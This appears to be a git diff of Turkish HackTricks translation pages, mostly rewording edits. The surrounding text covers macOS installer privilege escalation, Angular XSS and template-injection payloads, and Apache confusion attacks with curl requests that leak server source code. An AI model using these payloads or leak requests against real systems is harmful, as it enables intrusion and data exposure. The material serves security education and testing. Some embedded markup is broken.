-`/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System` dizini, **farklı dosya uzantılarıyla ilişkili risk hakkında bilgilerin saklandığı yerdir**. Bu dizin, dosyaları çeşitli risk seviyelerine ayırarak Safari'nin bu dosyaları indirdikten sonra nasıl işleyeceğini etkiler. Kategoriler şunlardır: +`/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System` dizini, **farklı dosya uzantılarıyla ilişkili risk hakkında bilgilerin saklandığı yerdir**. Bu dizin, dosyaları çeşitli risk seviyelerine ayırarak, Safari'nin bu dosyaları indirdikten sonra nasıl işleyeceğini etkiler. Kategoriler şunlardır: - **LSRiskCategorySafe**: Bu kategorideki dosyalar **tamamen güvenli** olarak kabul edilir. Safari, bu dosyaları indirdikten sonra otomatik olarak açacaktır. - **LSRiskCategoryNeutral**: Bu dosyalar uyarı içermez ve Safari tarafından **otomatik olarak açılmaz**. @@ -246,13 +246,13 @@ macos-memory-dumping.md ## Log dosyaları -- **`$HOME/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**: İndirilen dosyalar hakkında, nereden indirildikleri gibi bilgiler içerir. +- **`$HOME/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**: İndirilen dosyalar hakkında, nereden indirildikleri gibi bilgileri içerir. - **`/var/log/system.log`**: OSX sistemlerinin ana günlüğü. com.apple.syslogd.plist, syslogging'in yürütülmesinden sorumludur (devre dışı olup olmadığını kontrol etmek için `launchctl list` içinde "com.apple.syslogd" arayabilirsiniz). - **`/private/var/log/asl/*.asl`**: İlginç bilgiler içerebilecek Apple Sistem Günlükleridir. - **`$HOME/Library/Preferences/com.apple.recentitems.plist`**: "Finder" aracılığıyla en son erişilen dosyaları ve uygulamaları saklar. - **`$HOME/Library/Preferences/com.apple.loginitems.plsit`**: Sistem başlangıcında başlatılacak öğeleri saklar. - **`$HOME/Library/Logs/DiskUtility.log`**: DiskUtility Uygulaması için günlük dosyası (sürücüler hakkında bilgi, USB'ler dahil). -- **`/Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist`**: Kablosuz erişim noktaları hakkında veriler. +- **`/Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist`**: Kablosuz erişim noktaları hakkında veri. - **`/private/var/db/launchd.db/com.apple.launchd/overrides.plist`**: Devre dışı bırakılan daemonların listesi. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-bundles.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-bundles.md index fd622fb03..69b24a0c3 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-bundles.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-bundles.md @@ -8,19 +8,19 @@ macOS'taki paketler, uygulamalar, kütüphaneler ve diğer gerekli dosyalar dahi ### Bir Paketin Temel Bileşenleri -Bir paket içinde, özellikle `.app/Contents/` dizininde, çeşitli önemli kaynaklar barındırılır: +Bir paket içinde, özellikle `.app/Contents/` dizininde, çeşitli önemli kaynaklar bulunmaktadır: - **\_CodeSignature**: Bu dizin, uygulamanın bütünlüğünü doğrulamak için hayati öneme sahip kod imzalama detaylarını saklar. Kod imzalama bilgilerini incelemek için şu komutları kullanabilirsiniz: %%%bash openssl dgst -binary -sha1 /Applications/Safari.app/Contents/Resources/Assets.car | openssl base64 %%% - **MacOS**: Kullanıcı etkileşimi sırasında çalışan uygulamanın yürütülebilir ikili dosyasını içerir. - **Resources**: Uygulamanın kullanıcı arayüzü bileşenleri için bir depo, resimler, belgeler ve arayüz tanımları (nib/xib dosyaları) içerir. -- **Info.plist**: Uygulamanın ana yapılandırma dosyası olarak işlev görür ve sistemin uygulamayı uygun şekilde tanıması ve etkileşimde bulunması için kritik öneme sahiptir. +- **Info.plist**: Uygulamanın ana yapılandırma dosyası olarak işlev görür, sistemin uygulamayı uygun şekilde tanıması ve etkileşimde bulunması için kritik öneme sahiptir. #### Info.plist İçindeki Önemli Anahtarlar `Info.plist` dosyası, uygulama yapılandırması için bir köşe taşıdır ve aşağıdaki gibi anahtarlar içerir: - **CFBundleExecutable**: `Contents/MacOS` dizininde bulunan ana yürütülebilir dosyanın adını belirtir. -- **CFBundleIdentifier**: Uygulama için küresel bir tanımlayıcı sağlar ve macOS tarafından uygulama yönetimi için yaygın olarak kullanılır. +- **CFBundleIdentifier**: Uygulama için küresel bir tanımlayıcı sağlar, macOS tarafından uygulama yönetimi için yaygın olarak kullanılır. - **LSMinimumSystemVersion**: Uygulamanın çalışması için gereken minimum macOS sürümünü belirtir. ### Paketleri Keşfetmek @@ -33,7 +33,7 @@ Bu keşif, `_CodeSignature`, `MacOS`, `Resources` gibi dizinleri ve `Info.plist` Yaygın dizinlerin ötesinde, paketler ayrıca şunları içerebilir: -- **Frameworks**: Uygulama tarafından kullanılan paketlenmiş çerçeveleri içerir. Çerçeveler, ekstra kaynaklara sahip dylib'ler gibidir. +- **Frameworks**: Uygulama tarafından kullanılan paketlenmiş çerçeveleri içerir. Çerçeveler, ekstra kaynaklarla birlikte dylib gibidir. - **PlugIns**: Uygulamanın yeteneklerini artıran eklentiler ve uzantılar için bir dizin. - **XPCServices**: Uygulama tarafından dış süreç iletişimi için kullanılan XPC hizmetlerini barındırır. diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md index 8146d56ef..0e7835866 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md @@ -6,17 +6,17 @@ Bir macOS **yükleyici paketi** (aynı zamanda `.pkg` dosyası olarak da bilinir), macOS tarafından **yazılım dağıtımı** için kullanılan bir dosya formatıdır. Bu dosyalar, bir yazılım parçasının doğru bir şekilde kurulması ve çalışması için gereken her şeyi içeren bir **kutunun** içindeymiş gibi davranır. -Paket dosyası, hedef bilgisayara yüklenecek **dosya ve dizinlerin hiyerarşisini** tutan bir arşivdir. Ayrıca, yapılandırma dosyalarını ayarlamak veya yazılımın eski sürümlerini temizlemek gibi kurulumdan önce ve sonra görevleri yerine getirmek için **betikler** de içerebilir. +Paket dosyası, hedef bilgisayara yüklenecek **dosya ve dizinlerin hiyerarşisini** tutan bir arşivdir. Ayrıca, yapılandırma dosyalarını ayarlamak veya yazılımın eski sürümlerini temizlemek gibi kurulumdan önce ve sonra görevleri yerine getirmek için **scriptler** de içerebilir. ### Hiyerarşi
https://www.youtube.com/watch?v=iASSG0_zobQ
-- **Dağıtım (xml)**: Özelleştirmeler (başlık, karşılama metni…) ve betik/kurulum kontrolleri -- **Paket Bilgisi (xml)**: Bilgi, kurulum gereksinimleri, kurulum yeri, çalıştırılacak betiklerin yolları +- **Dağıtım (xml)**: Özelleştirmeler (başlık, karşılama metni…) ve script/kurulum kontrolleri +- **Paket Bilgisi (xml)**: Bilgi, kurulum gereksinimleri, kurulum yeri, çalıştırılacak scriptlerin yolları - **Malzeme listesi (bom)**: Yüklenmesi, güncellenmesi veya kaldırılması gereken dosyaların listesi ve dosya izinleri - **Yük (CPIO arşivi gzip sıkıştırılmış)**: Paket Bilgisi'nden `install-location`'da yüklenecek dosyalar -- **Betikler (CPIO arşivi gzip sıkıştırılmış)**: Kurulumdan önce ve sonra betikler ve yürütme için geçici bir dizine çıkarılan daha fazla kaynak. +- **Scriptler (CPIO arşivi gzip sıkıştırılmış)**: Kurulumdan önce ve sonra scriptler ve yürütme için geçici bir dizine çıkarılan daha fazla kaynak. ### Sıkıştırmayı Aç ```bash @@ -32,11 +32,11 @@ xar -xf "/path/to/package.pkg" cat Scripts | gzip -dc | cpio -i cpio -i < Scripts ``` -Installer'ın içeriğini manuel olarak sıkıştırmadan görselleştirmek için ücretsiz [**Suspicious Package**](https://mothersruin.com/software/SuspiciousPackage/) aracını da kullanabilirsiniz. +Installer'ın içeriğini manuel olarak sıkıştırmadan görselleştirmek için ücretsiz bir araç olan [**Suspicious Package**](https://mothersruin.com/software/SuspiciousPackage/) kullanabilirsiniz. ## DMG Temel Bilgiler -DMG dosyaları, veya Apple Disk Görüntüleri, Apple'ın macOS'u tarafından disk görüntüleri için kullanılan bir dosya formatıdır. Bir DMG dosyası esasen **monte edilebilir bir disk görüntüsü** (kendi dosya sistemini içerir) olup, genellikle sıkıştırılmış ve bazen şifrelenmiş ham blok verileri içerir. Bir DMG dosyasını açtığınızda, macOS **onu fiziksel bir disk gibi monte eder**, böylece içeriğine erişebilirsiniz. +DMG dosyaları veya Apple Disk Görüntüleri, Apple'ın macOS'u tarafından disk görüntüleri için kullanılan bir dosya formatıdır. Bir DMG dosyası esasen **monte edilebilir bir disk görüntüsü** (kendi dosya sistemini içerir) olup, genellikle sıkıştırılmış ve bazen şifrelenmiş ham blok verileri içerir. Bir DMG dosyasını açtığınızda, macOS **onu fiziksel bir disk gibi monte eder**, böylece içeriğine erişebilirsiniz. > [!CAUTION] > **`.dmg`** yükleyicilerinin **çok sayıda formatı** desteklediğini ve geçmişte bazılarının zafiyetler içerdiğini ve **kernel kodu yürütme** elde etmek için kötüye kullanıldığını unutmayın. @@ -45,13 +45,13 @@ DMG dosyaları, veya Apple Disk Görüntüleri, Apple'ın macOS'u tarafından di
-Bir DMG dosyasının hiyerarşisi içeriğe bağlı olarak farklı olabilir. Ancak, uygulama DMG'leri için genellikle bu yapıyı takip eder: +Bir DMG dosyasının hiyerarşisi içeriğe bağlı olarak farklılık gösterebilir. Ancak, uygulama DMG'leri için genellikle bu yapıyı takip eder: - Üst Düzey: Bu, disk görüntüsünün köküdür. Genellikle uygulamayı ve muhtemelen Uygulamalar klasörüne bir bağlantı içerir. -- Uygulama (.app): Bu, gerçek uygulamadır. macOS'ta, bir uygulama genellikle uygulamayı oluşturan birçok bireysel dosya ve klasör içeren bir pakettir. +- Uygulama (.app): Bu, gerçek uygulamadır. macOS'ta bir uygulama genellikle uygulamayı oluşturan birçok bireysel dosya ve klasör içeren bir pakettir. - Uygulamalar Bağlantısı: Bu, macOS'taki Uygulamalar klasörüne bir kısayoldur. Bunun amacı, uygulamayı kolayca yüklemenizi sağlamaktır. .app dosyasını bu kısayola sürükleyerek uygulamayı yükleyebilirsiniz. -## Privesc pkg kötüye kullanımı +## pkg kötüye kullanımı ile Privesc ### Kamu dizinlerinden yürütme @@ -61,7 +61,7 @@ Eğer bir ön veya sonrası yükleme betiği örneğin **`/var/tmp/Installerutil ### AuthorizationExecuteWithPrivileges -Bu, birçok yükleyici ve güncelleyici tarafından **root olarak bir şey yürütmek için** çağrılan bir [kamusal işlev](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg) dir. Bu işlev, **yürütülecek dosyanın** **yolunu** parametre olarak kabul eder, ancak eğer bir saldırgan bu dosyayı **değiştirebilirse**, root ile yürütmesini **kötüye kullanabilir** ve **ayrıcalıkları artırabilir**. +Bu, birkaç yükleyici ve güncelleyici tarafından **root olarak bir şey yürütmek için** çağrılan bir [kamusal işlev](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg) dir. Bu işlev, **yürütülecek dosyanın** **yolu** nu parametre olarak kabul eder, ancak bir saldırgan bu dosyayı **değiştirebilirse**, root ile yürütmesini **kötüye kullanabilir** ve **ayrıcalıkları artırabilir**. ```bash # Breakpoint in the function to check wich file is loaded (lldb) b AuthorizationExecuteWithPrivileges @@ -71,9 +71,9 @@ For more info check this talk: [https://www.youtube.com/watch?v=lTOItyjTTkw](htt ### Montaj ile yürütme -Eğer bir yükleyici `/tmp/fixedname/bla/bla` yoluna yazıyorsa, yükleme sürecini kötüye kullanmak için yükleme sırasında **herhangi bir dosyayı değiştirmek** amacıyla **/tmp/fixedname** üzerinde noowners ile **bir montaj oluşturmak** mümkündür. +Eğer bir yükleyici `/tmp/fixedname/bla/bla` yoluna yazıyorsa, yükleme sürecini kötüye kullanmak için **yükleme sırasında herhangi bir dosyayı değiştirmek** amacıyla `noowners` ile `/tmp/fixedname` üzerinde **bir montaj oluşturmak** mümkündür. -Bunun bir örneği **CVE-2021-26089**'dur; bu, root olarak yürütme elde etmek için **dönemsel bir betiği** **üst üste yazmayı** başarmıştır. Daha fazla bilgi için konuşmaya göz atın: [**OBTS v4.0: "Mount(ain) of Bugs" - Csaba Fitzl**](https://www.youtube.com/watch?v=jSYPazD4VcE) +Bunun bir örneği **CVE-2021-26089**'dur; bu, kök olarak yürütme elde etmek için **dönemsel bir betiği** **üst üste yazmayı** başarmıştır. Daha fazla bilgi için konuşmaya bakın: [**OBTS v4.0: "Mount(ain) of Bugs" - Csaba Fitzl**](https://www.youtube.com/watch?v=jSYPazD4VcE) ## pkg kötü amaçlı yazılım olarak @@ -83,7 +83,7 @@ Gerçek bir yük olmadan sadece **kötü amaçlı yazılım** içeren **ön ve s ### Dağıtım xml'inde JS -Paketin **dağıtım xml** dosyasına **`

test

"; ``` Sonuç: `<script>alert(1)</script><h1>test</h1>` -2. Özelliklere, niteliklere, sınıflara ve stillere bağlama veya `[attribute]="user_input"` - sağlanan güvenlik bağlamına dayalı olarak temizleme yapar. +2. Özelliklere, niteliklere, sınıflara ve stillere bağlama veya `[attribute]="user_input"` - sağlanan güvenlik bağlamına dayalı olarak temizleme gerçekleştirir. ```jsx //app.component.ts @@ -114,16 +114,16 @@ Sonuç: `

test

` * `None`; * `HTML`, değer HTML olarak yorumlandığında kullanılır; -* `STYLE`, CSS'nin `style` özelliğine bağlandığında kullanılır; +* `STYLE`, CSS'yi `style` özelliğine bağlarken kullanılır; * `URL`, `` gibi URL özellikleri için kullanılır; * `SCRIPT`, JavaScript kodu için kullanılır; -* `RESOURCE_URL`, kod olarak yüklenen ve yürütülen bir URL'dir, örneğin, `

test

"; Angular, sayfaları dinamik olarak oluşturmak için şablonları kullanır. Bu yaklaşım, Angular'ın değerlendirmesi için şablon ifadelerini çift süslü parantezler (`{{}}`) içinde kapsüllemeyi içerir. Bu şekilde, çerçeve ek işlevsellik sunar. Örneğin, `{{1+1}}` gibi bir şablon 2 olarak görüntülenecektir. -Genellikle, Angular, şablon ifadeleriyle karıştırılabilecek kullanıcı girişlerini kaçırır (örneğin, \`< > ' " \`\` gibi karakterler). Bu, yasaklı karakterleri kullanmaktan kaçınmak için JavaScript dize nesneleri üreten işlevler gibi bu kısıtlamayı aşmak için ek adımların gerekli olduğu anlamına gelir. Ancak, bunu başarmak için Angular bağlamını, özelliklerini ve değişkenlerini dikkate almamız gerekir. Bu nedenle, bir şablon enjeksiyonu saldırısı şu şekilde görünebilir: +Genellikle, Angular, şablon ifadeleriyle karıştırılabilecek kullanıcı girişlerini kaçırır (örneğin, \`< > ' " \`\` gibi karakterler). Bu, kara listeye alınmış karakterleri kullanmaktan kaçınmak için JavaScript dize nesneleri üreten işlevler gibi bu kısıtlamayı aşmak için ek adımların gerekli olduğu anlamına gelir. Ancak, bunu başarmak için Angular bağlamını, özelliklerini ve değişkenlerini dikkate almamız gerekir. Bu nedenle, bir şablon enjeksiyonu saldırısı şu şekilde görünebilir: ```jsx //app.component.ts const _userInput = '{{constructor.constructor(\'alert(1)\'()}}' @@ -231,7 +231,7 @@ Yukarıda gösterildiği gibi: `constructor`, Object `constructor` özelliğinin #### Sunucu Tarafı Render (SSR) -Tarayıcıdaki DOM'da gerçekleşen CSR'ın aksine, Angular Universal, şablon dosyalarının SSR'sinden sorumludur. Bu dosyalar daha sonra kullanıcıya iletilir. Bu ayrıma rağmen, Angular Universal, SSR güvenliğini artırmak için CSR'da kullanılan aynı sanitizasyon mekanizmalarını uygular. SSR'deki bir şablon enjeksiyon açığı, kullanılan şablon dilinin aynı olması nedeniyle CSR'deki gibi tespit edilebilir. +CSR'dan farklı olarak, tarayıcının DOM'unda gerçekleşen, Angular Universal, şablon dosyalarının SSR'sinden sorumludur. Bu dosyalar daha sonra kullanıcıya iletilir. Bu ayrıma rağmen, Angular Universal, SSR güvenliğini artırmak için CSR'de kullanılan aynı sanitizasyon mekanizmalarını uygular. SSR'deki bir şablon enjeksiyon açığı, kullanılan şablon dilinin aynı olması nedeniyle CSR'deki gibi tespit edilebilir. Elbette, Pug ve Handlebars gibi üçüncü taraf şablon motorları kullanıldığında yeni şablon enjeksiyon açıkları tanıtma olasılığı da vardır. @@ -371,11 +371,11 @@ this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', 'Click me! ``` -Araştırmalarımız sırasında, XSS ve CSS enjeksiyonları ile ilgili olarak `setStyle()`, `createComment()` ve `setValue()` gibi diğer `Renderer2` yöntemlerinin davranışını da inceledik. Ancak, işlevsel sınırlamaları nedeniyle bu yöntemler için geçerli saldırı vektörleri bulamadık. +Araştırmalarımız sırasında, XSS ve CSS enjeksiyonları ile ilgili olarak `Renderer2` yöntemlerinin, örneğin `setStyle()`, `createComment()` ve `setValue()`, davranışlarını da inceledik. Ancak, işlevsel sınırlamaları nedeniyle bu yöntemler için geçerli saldırı vektörleri bulamadık. #### jQuery -jQuery, HTML DOM nesnelerini manipüle etmek için Angular projesinde kullanılabilecek hızlı, küçük ve özellik açısından zengin bir JavaScript kütüphanesidir. Ancak, bilindiği gibi, bu kütüphanenin yöntemleri bir XSS açığına yol açmak için istismar edilebilir. Bazı savunmasız jQuery yöntemlerinin Angular projelerinde nasıl istismar edilebileceğini tartışmak için bu alt bölümü ekledik. +jQuery, HTML DOM nesnelerini manipüle etmek için Angular projesinde kullanılabilecek hızlı, küçük ve özellik açısından zengin bir JavaScript kütüphanesidir. Ancak, bilindiği gibi, bu kütüphanenin yöntemleri bir XSS açığı elde etmek için istismar edilebilir. Bazı savunmasız jQuery yöntemlerinin Angular projelerinde nasıl istismar edilebileceğini tartışmak için bu alt bölümü ekledik. * `html()` yöntemi, eşleşen öğelerin setindeki ilk öğenin HTML içeriğini alır veya her eşleşen öğenin HTML içeriğini ayarlar. Ancak, tasarım gereği, bir HTML dizesi kabul eden herhangi bir jQuery yapıcı veya yöntemi potansiyel olarak kod çalıştırabilir. Bu, `");

some text here

``` -* `jQuery.parseHTML()` yöntemi, dizeyi bir dizi DOM düğümüne dönüştürmek için yerel yöntemler kullanır; bu düğümler daha sonra belgeye eklenebilir. +* `jQuery.parseHTML()` yöntemi, dizeyi bir dizi DOM düğümüne dönüştürmek için yerel yöntemleri kullanır; bu düğümler daha sonra belgeye eklenebilir. ```tsx jQuery.parseHTML(data [, context ] [, keepScripts ]) ``` -Daha önce belirtildiği gibi, HTML dizelerini kabul eden çoğu jQuery API'si, HTML'de yer alan betikleri çalıştırır. `jQuery.parseHTML()` yöntemi, `keepScripts` açıkça `true` olmadıkça, ayrıştırılan HTML'deki betikleri çalıştırmaz. Ancak, çoğu ortamda dolaylı olarak betikleri çalıştırmak hala mümkündür; örneğin, `` niteliği aracılığıyla. +Daha önce belirtildiği gibi, HTML dizeleri kabul eden çoğu jQuery API'si, HTML'de yer alan betikleri çalıştırır. `jQuery.parseHTML()` yöntemi, `keepScripts` açıkça `true` olmadıkça, ayrıştırılan HTML'deki betikleri çalıştırmaz. Ancak, çoğu ortamda dolaylı olarak betikleri çalıştırmak hala mümkündür; örneğin, `` niteliği aracılığıyla. ```tsx //app.component.ts @@ -465,7 +465,7 @@ window.location.href = "https://google.com/about" ``` -Aşağıdaki senaryolar için istismar süreci aynıdır. +İstismar süreci, aşağıdaki senaryolar için aynıdır. * `window.location.assign()`(ve `document.location.assign()`) Bu yöntem, pencerenin belirtilen URL'deki belgeyi yüklemesini ve görüntülemesini sağlar. Bu yöntemi kontrol edersek, açık yönlendirme saldırısı için bir hedef olabilir. @@ -496,7 +496,7 @@ window.location.replace("http://google.com/about") ``` * `window.open()` -`window.open()` yöntemi bir URL alır ve tanımladığı kaynağı yeni veya mevcut bir sekmeye veya pencereye yükler. Bu yöntemi kontrol etmek, bir XSS veya açık yönlendirme açığını tetiklemek için de bir fırsat olabilir. +`window.open()` yöntemi, bir URL alır ve tanımladığı kaynağı yeni veya mevcut bir sekmeye veya pencereye yükler. Bu yöntemi kontrol etmek, bir XSS veya açık yönlendirme açığını tetiklemek için de bir fırsat olabilir. ```tsx //app.component.ts @@ -510,7 +510,7 @@ window.open("https://google.com/about", "_blank") #### Angular sınıfları -* Angular belgelerine göre, Angular `Document`, DOM belgesi ile aynıdır; bu da Angular'da istemci tarafı açıklarını istismar etmek için DOM belgesi için ortak vektörlerin kullanılabileceği anlamına gelir. `Document.location` özellikleri ve yöntemleri, aşağıdaki örnekte gösterildiği gibi başarılı açık yönlendirme saldırıları için hedef olabilir: +* Angular belgelerine göre, Angular `Document`, DOM belgesi ile aynıdır; bu da Angular'da istemci tarafı açıklarını istismar etmek için DOM belgesi için yaygın vektörlerin kullanılabileceği anlamına gelir. `Document.location` özellikleri ve yöntemleri, aşağıdaki örnekte gösterildiği gibi başarılı açık yönlendirme saldırıları için hedef olabilir: ```tsx //app.component.ts @@ -587,7 +587,7 @@ this.router.navigateByUrl('URL') * [Bileşenler ve şablonlara giriş](https://angular.io/guide/architecture-components) * [Kaynak haritası yapılandırması](https://angular.io/guide/workspace-config#source-map-configuration) * [Binding sözdizimi](https://angular.io/guide/binding-syntax) -* [Angular Bağlamı: İç İçe Bileşen Ağaçları ve Router Outlet için Kolay Veri Bağlama](https://medium.com/angular-in-depth/angular-context-easy-data-binding-for-nested-component-trees-and-the-router-outlet-a977efacd48) +* [Angular Bağlamı: İç İçe Bileşen Ağaçları ve Yönlendirici Çıkışı için Kolay Veri Bağlama](https://medium.com/angular-in-depth/angular-context-easy-data-binding-for-nested-component-trees-and-the-router-outlet-a977efacd48) * [Sanitizasyon ve güvenlik bağlamları](https://angular.io/guide/security#sanitization-and-security-contexts) * [GitHub - angular/dom\_security\_schema.ts](https://github.com/angular/angular/blob/main/packages/compiler/src/schema/dom\_security\_schema.ts) * [Angular ve AngularJS'de XSS](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/XSS%20in%20Angular.md) @@ -597,7 +597,7 @@ this.router.navigateByUrl('URL') * [Angular Renderer2](https://angular.io/api/core/Renderer2) * [Renderer2 Örneği: Angular'da DOM Manipülasyonu - TekTutorialsHub](https://www.tektutorialshub.com/angular/renderer2-angular/) * [jQuery API Belgeleri](http://api.jquery.com/) -* [Angular ile jQuery Nasıl Kullanılır (Kesinlikle Gerektiğinde)](https://blog.bitsrc.io/how-to-use-jquery-with-angular-when-you-absolutely-have-to-42c8b6a37ff9) +* [Angular ile jQuery Nasıl Kullanılır (Kesinlikle Gerekirse)](https://blog.bitsrc.io/how-to-use-jquery-with-angular-when-you-absolutely-have-to-42c8b6a37ff9) * [Angular Belgesi](https://angular.io/api/common/DOCUMENT) * [Angular Konumu](https://angular.io/api/common/Location) * [Angular Yönlendirici](https://angular.io/api/router/Router) diff --git a/src/network-services-pentesting/pentesting-web/apache.md b/src/network-services-pentesting/pentesting-web/apache.md index 097262f0b..c87b44f56 100644 --- a/src/network-services-pentesting/pentesting-web/apache.md +++ b/src/network-services-pentesting/pentesting-web/apache.md @@ -23,7 +23,7 @@ Linux ``` ## Confusion Attack
-Bu tür saldırılar [**Orange tarafından bu blog yazısında**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) tanıtılmış ve belgelenmiştir ve aşağıda bir özet bulunmaktadır. "Confusion" saldırısı, temelde Apache'i oluşturan onlarca modülün mükemmel bir şekilde senkronize çalışmamasını istismar eder ve bunlardan bazılarını beklenmedik verileri değiştirmeye zorlamak, sonraki bir modülde bir zafiyete yol açabilir. +Bu tür saldırılar [**Orange tarafından bu blog yazısında**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) tanıtılmış ve belgelenmiştir ve aşağıda bir özet bulunmaktadır. "Confusion" saldırısı, temelde Apache'i oluşturan onlarca modülün mükemmel bir şekilde senkronize çalışmamasını istismar eder ve bunlardan bazılarını beklenmedik verileri değiştirmeye zorlamak, sonraki bir modülde bir zafiyete neden olabilir. ### Filename Confusion @@ -72,7 +72,7 @@ AuthUserFile "/etc/apache2/.htpasswd" Require valid-user ``` -Bu, varsayılan olarak PHP-FPM'nin `.php` ile biten URL'leri alması nedeniyle, örneğin `http://server/admin.php%3Fooo.php` ve PHP-FPM'nin `?` karakterinden sonraki her şeyi kaldırması nedeniyle, önceki URL'nin `/admin.php`'yi yüklemesine izin vermesidir, önceki kural bunu yasaklasa bile. +Bu, varsayılan olarak PHP-FPM'nin `.php` ile biten URL'leri almasıdır, örneğin `http://server/admin.php%3Fooo.php` ve çünkü PHP-FPM `?` karakterinden sonraki her şeyi kaldıracak, önceki URL `/admin.php`'yi yüklemeye izin verecektir, önceki kural bunu yasaklasa bile. ### DocumentRoot Karışıklığı ```bash @@ -81,11 +81,11 @@ RewriteRule ^/html/(.*)$ /$1.html ``` Apache hakkında eğlenceli bir gerçek, önceki yeniden yazmanın dosyayı hem documentRoot'tan hem de kök dizinden erişmeye çalışmasıdır. Yani, `https://server/abouth.html` isteği, dosyayı dosya sisteminde `/var/www/html/about.html` ve `/about.html` konumlarında kontrol edecektir. Bu, dosya sistemindeki dosyalara erişim sağlamak için kötüye kullanılabilir. -#### **Sunucu Tarafı Kaynak Kodu Açığa Çıkması** +#### **Sunucu Tarafı Kaynak Kodu Açığa Çıkarma** - **CGI Kaynak Kodunu Açığa Çıkarma** -Sonuna sadece bir %3F eklemek, bir cgi modülünün kaynak kodunu açığa çıkarmak için yeterlidir: +Sonuna sadece bir %3F eklemek, bir cgi modülünün kaynak kodunu sızdırmak için yeterlidir: ```bash curl http://server/cgi-bin/download.cgi # the processed result from download.cgi @@ -97,7 +97,7 @@ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F ``` - **PHP Kaynak Kodunu Açığa Çıkarma** -Eğer bir sunucuda farklı alan adları varsa ve bunlardan biri statik bir alan adıysa, bu, dosya sisteminde gezinmek ve php kodunu açığa çıkarmak için kötüye kullanılabilir: +Eğer bir sunucuda statik bir alan adı da dahil olmak üzere farklı alan adları varsa, bu durum dosya sisteminde gezinmek ve php kodunu açığa çıkarmak için kötüye kullanılabilir: ```bash # Leak the config.php file of the www.local domain from the static.local domain curl http://www.local/var/www.local/config.php%3F -H "Host: static.local" @@ -112,7 +112,7 @@ AllowOverride None Require all denied ``` -Ancak, [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) işletim sistemleri varsayılan olarak `/usr/share`'e izin verir: +Ancak, [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) işletim sistemleri varsayılan olarak `/usr/share` dizinine izin verir: ```xml AllowOverride None @@ -123,8 +123,8 @@ Bu nedenle, bu dağıtımlardaki `/usr/share` içinde bulunan dosyaların **isti **Yerel Gadget ile Bilgi Sızıntısı** -- **Apache HTTP Server** ile **websocketd**, **/usr/share/doc/websocketd/examples/php/** altında **dump-env.php** scriptini açığa çıkarabilir, bu da hassas ortam değişkenlerini sızdırabilir. -- **Nginx** veya **Jetty** ile sunucular, varsayılan web kökleri altında yer alan hassas web uygulama bilgilerini (örn., **web.xml**) açığa çıkarabilir: +- **Apache HTTP Server** ile **websocketd**, **/usr/share/doc/websocketd/examples/php/** altında **dump-env.php** script'ini açığa çıkarabilir, bu da hassas ortam değişkenlerini sızdırabilir. +- **Nginx** veya **Jetty** ile sunucular, varsayılan web kökleri altında yer alan hassas web uygulama bilgilerini (örneğin, **web.xml**) açığa çıkarabilir: - **/usr/share/nginx/html/** - **/usr/share/jetty9/etc/** - **/usr/share/jetty9/webapps/** @@ -142,7 +142,7 @@ Bu nedenle, bu dağıtımlardaki `/usr/share` içinde bulunan dosyaların **isti **Yerel Gadget ile SSRF** -- **MagpieRSS'nin magpie_debug.php** dosyasını **/usr/share/php/magpierss/scripts/magpie_debug.php** adresinde kullanarak, kolayca bir SSRF açığı oluşturulabilir ve daha fazla istismar için bir kapı sağlanabilir. +- **MagpieRSS'in magpie_debug.php** dosyasını **/usr/share/php/magpierss/scripts/magpie_debug.php** adresinde kullanarak, kolayca bir SSRF açığı oluşturulabilir ve daha fazla istismar için bir kapı sağlanabilir. **Yerel Gadget ile RCE** @@ -158,7 +158,7 @@ Ayrıca, bu klasörlerdeki kurulu yazılımlar tarafından oluşturulan sembolik - **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/` - **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/` -Ayrıca, sembolik bağlantıları istismar ederek **Redmine'de RCE elde etmek** mümkündü. +Ayrıca, sembolik bağlantıları istismar ederek **Redmine'de RCE elde etmek** mümkün olmuştur. ### Handler Karışıklığı @@ -177,11 +177,11 @@ TODO: Orange bu zafiyeti henüz açıklamadı ### **Rastgele Handler'ları Çağırma** -Eğer bir saldırgan, sunucu yanıtındaki **`Content-Type`** başlığını kontrol edebiliyorsa, **rastgele modül handler'larını çağırma** yeteneğine sahip olacaktır. Ancak, saldırgan bunu kontrol ettiğinde, isteğin çoğu süreci tamamlanmış olacaktır. Ancak, **`Location` başlığını istismar ederek isteği yeniden başlatmak** mümkündür; çünkü eğer **dönen `Status` 200 ise ve `Location` başlığı `/` ile başlıyorsa, yanıt Sunucu Tarafı Yönlendirmesi olarak işlenir ve işlenmelidir. +Eğer bir saldırgan, sunucu yanıtındaki **`Content-Type`** başlığını kontrol edebiliyorsa, **rastgele modül handler'larını çağırma** yeteneğine sahip olacaktır. Ancak, saldırgan bunu kontrol ettiğinde, 